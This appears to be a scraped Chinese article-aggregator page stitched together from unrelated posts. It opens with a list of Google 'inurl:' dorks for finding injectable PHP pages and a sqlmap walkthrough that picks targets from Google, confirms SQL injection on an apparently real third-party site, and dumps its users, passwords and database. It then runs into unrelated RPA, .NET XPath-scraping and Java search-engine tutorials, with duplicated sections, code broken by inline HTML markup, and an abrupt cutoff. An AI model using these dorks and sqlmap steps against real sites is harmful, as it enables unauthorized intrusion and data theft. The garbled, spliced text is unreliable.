inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4实际测试案例
1.寻找可供注入点的目标网站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令进行google搜索,如图1所示,首先对第一个目标进行测试,输入“Y”进行确认,也可以选择q,不测试该目标,继续测试后续的目标。
图1对第一个url进行sql注入测试
sqlmap如果第一个url获取的注入不存在漏洞,则会寻找下一个url进行注入,同时url计数为2,后续每一个注入计数加1,可以在参数后面增加--batch自动提交判断。
2.sql注入漏洞测试
如图2所示,对该注入点进行注入漏洞测试,该url一共存在四种类型的sql注入,基于布尔盲注、出错注入、基于时间盲注和联合查询注入。
图2获取四种类型的sql注入
3.基本信息获取
sqlmap支持多个参数并列获取,如图3所示,获取当前数据库、当前数据库名称、数据库用户,mysql用户以及密码等信息,有些字段需要有相对应的权限才能获取,执行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中获取数据库用户finvent2@localhost,当前数据库为finvent_out。
图3获取基本信息
4.数据库获取
(1)获取当前数据库下所有表
sqlmap -u -D finvent_out --tables
执行后,如图4所示,获取当前数据库finvent_out中的16个表名。
图4获取所有表名
(2)获取当前用户下的所有数据
sqlmap -u --dump-all//获取所有数据库
sqlmap -u -Dfinvent_out //仅仅获取finvent_out数据库的数据。
参考文章:
RPA经典案例|第57课:点击网页指定内容目标项
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-14 11:05
每日10分钟小视频,掌握一项小技能。
▼课程主题:本节课讲解典型案例:点击指定文本列表项。
▼所需命令:获取元素文本、计次循环、点击目标、数据抓取、获取数组长度、查找字符串。
▼课程视频:
▼下期预告:Excel扩展命令。
查看全部
RPA经典案例|第57课:点击网页指定内容目标项
每日10分钟小视频,掌握一项小技能。
▼课程主题:本节课讲解典型案例:点击指定文本列表项。
▼所需命令:获取元素文本、计次循环、点击目标、数据抓取、获取数组长度、查找字符串。
▼课程视频:
▼下期预告:Excel扩展命令。
.NET Core实践爬虫系统:解析网页内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 160 次浏览 • 2022-06-06 20:24
///
public long View { get; set; }
///
///明细
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者链接
///
public string AuthorUrl { get; set; }
}
然后根据网页结构,查看XPath路径,采集内容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集结果
看到结果就惊呆了,竟然全是重复的。难道是Xpath语法理解不对么? 采集结果
重温下XPath语法
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的
XPath 通配符可用来选取未知的 XML 元素
我测试了几个语法如:
//例1,会返回20个
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//会报错,因为这个a并不直接在bodynode下面,而是在子级h3元素的子级。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又实验了一种:
//Bingo,这个可以,但是强烈指定了下级h3,这就稍微麻烦了点。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
这里就引申出了一个小问题:如何定位子级的子级?用通配符*可以么?
//返回1个。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正确返回1,应该是可以了,我们改下代码看下效果。
然后和博客园首页数据对比,结果吻合。 所以我们可以得出结论:
改过后代码如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源码
代码已上传至 GitHub:
总结
Demo到此结束,下篇继续构思如何构建自定义规则,让用户可以在页面自己填写规则去识别。
看完本文有收获?请转发分享给更多人
关注「DotNet」,提升.Net技能
查看全部
.NET Core实践爬虫系统:解析网页内容
///
public long View { get; set; }
///
///明细
///
public string Detail { get; set; }
///
///作者
///
public string Author { get; set; }
///
/// 作者链接
///
public string AuthorUrl { get; set; }
}
然后根据网页结构,查看XPath路径,采集内容
///
/// 解析
///
///
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("//div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("//div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("//a[@class='titlelnk']");
var summarynode post_item_bodynode.SelectSingleNode("//p[@class='post_item_summary']");
//foot
var footnode = item.SelectSingleNode("//div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = item.SelectSingleNode("//span[@class='article_comment']");
var viewnode = item.SelectSingleNode("//span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
查看采集结果
看到结果就惊呆了,竟然全是重复的。难道是Xpath语法理解不对么? 采集结果
重温下XPath语法
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的
XPath 通配符可用来选取未知的 XML 元素
我测试了几个语法如:
//例1,会返回20个
var titlenodes = post_item_bodynode.SelectNodes("//a[@class='titlelnk']");
//会报错,因为这个a并不直接在bodynode下面,而是在子级h3元素的子级。
var titlenodes = post_item_bodynode.SelectNodes("a[@class='titlelnk']");
然后又实验了一种:
//Bingo,这个可以,但是强烈指定了下级h3,这就稍微麻烦了点。
var titlenodes = post_item_bodynode.SelectNodes("h3//a[@class='titlelnk']");
这里就引申出了一个小问题:如何定位子级的子级?用通配符*可以么?
//返回1个。
var titlenodes= post_item_bodynode.SelectNodes("*//a[@class='titlelnk']")
能正确返回1,应该是可以了,我们改下代码看下效果。
然后和博客园首页数据对比,结果吻合。 所以我们可以得出结论:
改过后代码如下:
public List ParseCnBlogs()
{
var url = "";
HtmlWeb web = new HtmlWeb();
//1.支持从web或本地path加载html
var htmlDoc = web.Load(url);
var post_listnode = htmlDoc.DocumentNode.SelectSingleNode("//div[@id='post_list']");
//Console.WriteLine("Node Name: " + post_listnode.Name + "\n" + post_listnode.OuterHtml);
var postitemsNodes = post_listnode.SelectNodes("div[@class='post_item']");
var articles = new List();
var digitRegex = @"[^0-9]+";
foreach (var item in postitemsNodes)
{
var article = new Article();
var diggnumnode = item.SelectSingleNode("*//span[@class='diggnum']");
//body
var post_item_bodynode = item.SelectSingleNode("div[@class='post_item_body']");
var titlenode = post_item_bodynode.SelectSingleNode("*//a[@class='titlelnk']");
var summarynode = post_item_bodynode.SelectSingleNode("p[@class='post_item_summary']");
//foot
var footnode = post_item_bodynode.SelectSingleNode("div[@class='post_item_foot']");
var authornode = footnode.ChildNodes[1];
var commentnode = footnode.SelectSingleNode("span[@class='article_comment']");
var viewnode = footnode.SelectSingleNode("span[@class='article_view']");
article.Diggit = int.Parse(diggnumnode.InnerText);
article.Title = titlenode.InnerText;
article.Url = titlenode.Attributes["href"].Value;
article.Summary = titlenode.InnerHtml;
article.Author = authornode.InnerText;
article.AuthorUrl = authornode.Attributes["href"].Value;
article.Comment = int.Parse(Regex.Replace(commentnode.ChildNodes[0].InnerText, digitRegex, ""));
article.View = int.Parse(Regex.Replace(viewnode.ChildNodes[0].InnerText, digitRegex, ""));
articles.Add(article);
}
return articles;
}
源码
代码已上传至 GitHub:
总结
Demo到此结束,下篇继续构思如何构建自定义规则,让用户可以在页面自己填写规则去识别。
看完本文有收获?请转发分享给更多人
关注「DotNet」,提升.Net技能
编写一个Java站内搜索引擎系统
网站优化 • 优采云 发表了文章 • 0 个评论 • 41 次浏览 • 2022-06-06 17:16
如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,那些属于全网搜索,我们这里做一个站内搜索。类似于我们对网站里的资源进行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。建议大家别爬虫要不然被告了。
这里我们可以使用Python,或者下载文档压缩包。
为什么要用索引呢?
因为爬的数据太多了,不索引,难道去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二、模块划分1、索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2、搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3、web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三、怎么实现分词
分词的原理
1、基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2、基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class TastAnsj {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> List terms = ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (Term term : terms) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这一模块总的代码块如下:
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 